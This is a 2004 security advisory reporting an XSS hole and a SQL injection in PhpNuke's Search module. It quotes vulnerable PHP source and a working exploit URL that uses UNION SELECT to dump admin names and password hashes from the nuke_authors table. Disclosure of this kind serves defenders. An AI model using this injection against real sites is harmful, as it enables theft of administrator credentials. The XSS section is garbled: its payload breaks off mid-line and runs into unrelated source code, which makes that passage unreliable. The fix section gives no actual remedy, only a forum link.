{================================================================================} { [waraxe-2004-SA#035] } {================================================================================} { } { [ Multiple security holes in PhpNuke - part 2] } { } {================================================================================} Author: Janek Vind "waraxe" Date: 17. July 2004 Location: Estonia, Tartu Web: http://www.waraxe.us/index.php?modname=sa&id=35 Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Php-Nuke is a popular freeware content management system, written in php by Francisco Burzi. This CMS (Content Management System) is used on many thousands websites, because it's freeware, easy to install and has broad set of features. Homepage: http://phpnuke.org Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ This time we will look @ security holes - 1 XSS and 1 sql inject case - in "Search" module. A - Cross-site scripting aka XSS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ A1 - xss in "/modules/Search/index.php": Open search page in phpnuke: http://localhost/nuke73/modules.php?name=Search and enter to input field something like this: 1">sql_query("select title from ".$prefix."_stories where sid='$sid'"); list($st_title) = $db->sql_fetchrow($res); $instory = "AND sid='$sid'"; echo "
"._SEARCHINSTORY." $st_title

"; } else { echo "
"._SEARCHIN." $topictext

"; } ----------------[/original source ]----------------- So - if search type is "comments" and there is no "sid" specified, then sql query fragment "instory" is not initialized. Now, let's look further: ----------------[ original source ]----------------- } elseif ($type=="comments") { ... ... $result8 = $db->sql_query("SELECT tid, sid, subject, date, name from ".$prefix."_comments where (subject like '%$query%' OR comment like '%$query%') $instory order by date DESC limit $min,$offset"); ... ... ----------------[/original source ]----------------- What is here, is a typical case of uninitialized variable - "instory". It's time to turn this little bug to something evil: ----------------[ real life exploit ]--------------- http://localhost/nuke73/modules.php?name=Search&type=comments& query=not123exists&instory=/**/UNION/**/SELECT/**/0,0,pwd,0,aid/**/FROM/**/nuke_authors ----------------[/real life exploit ]--------------- ... and we see all the secret information about admins :) Have a nice day! How to fix: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html See ya there! Greetings: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Greets to Raido Kerna and to http://www.gamecheaters.us staff! Special greets to icenix and slimjim100! Tervitused - Heintz ja Maku! Contact: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ come2waraxe@yahoo.com Janek Vind "waraxe" Homepage: http://www.waraxe.us/ ---------------------------------- [ EOF ] ------------------------------------